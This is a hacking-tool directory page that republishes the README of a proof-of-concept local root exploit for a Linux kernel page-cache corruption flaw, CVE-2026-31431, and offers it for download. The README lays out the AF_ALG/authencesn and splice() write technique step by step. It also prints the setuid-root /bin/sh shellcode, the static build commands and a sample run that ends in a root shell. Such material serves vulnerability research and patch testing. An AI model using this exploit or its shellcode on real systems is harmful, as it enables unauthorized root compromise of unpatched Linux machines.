Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
copyfail — CVE-2026-31431 (Copy Fail) PoC - Linux kernel page cache corruption via authencesn AF_ALG + splice() | Kitploit
Tools/GitHubGitHub/smarttfoxx/copyfail
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPayload DevelopmentBinary Exploitation
GitHubsmarttfoxx/copyfail

copyfail

CVE-2026-31431 (Copy Fail) PoC - Linux kernel page cache corruption via authencesn AF_ALG + splice()

View Repository
206286 months agoReviewed by Kitploit
Share

Copy Fail - CVE-2026-31431 PoC in C

Local privilege escalation exploit for CVE-2026-31431 (Copy Fail), written in C.

How It Works

  1. ELF parsing: resolves /usr/bin/su's entry point virtual address to a file offset via PT_LOAD program headers
  2. AF_ALG setup: binds to authencesn(hmac(sha256),cbc(aes)) with a zero key
  3. 4-byte page cache writes: for each chunk of the shellcode payload:
    • sendmsg() sends AAD with the shellcode bytes as seqno_lo (bytes 4-7), with MSG_MORE
    • splice() delivers 32 bytes of the target file's page cache pages as the AEAD authentication tag
    • recv() triggers decryption,authencesn's scratch write lands in the chained page cache pages, writing 4 controlled bytes.
  4. Privilege escalation: execl("/usr/bin/su") loads the corrupted page cache. The 40-byte shellcode (setuid(0) + execve("/bin/sh")) runs as setuid-root

Shellcode

xor    edi, edi            ; uid = 0
mov    eax, 105            ; sys_setuid
syscall
xor    edx, edx            ; envp = NULL
push   rdx                 ; null terminator
movabs rax, "/bin/sh"      ; "/bin/sh\0"
push   rax
mov    rdi, rsp            ; filename
push   rdx                 ; NULL (argv[1])
push   rdi                 ; argv[0]
mov    rsi, rsp            ; argv
mov    eax, 59             ; sys_execve
syscall

Build

Requires musl-gcc or any C compiler with static linking support:

musl-gcc -static -O2 -s -o copyfail exploit.c

Alternatively with GCC + glibc:

gcc -static -O2 -s -o copyfail exploit.c

Usage

$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)

References

  • Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
  • Fix commit a664bf3d
  • Introduced by commit 72548b093ee3 (2017)

Disclaimer

This proof-of-concept is provided for authorized security research and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    576
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    477
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    388
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    330
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    255
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    247

Explore all tools

Browse our collection of tools

View all tools →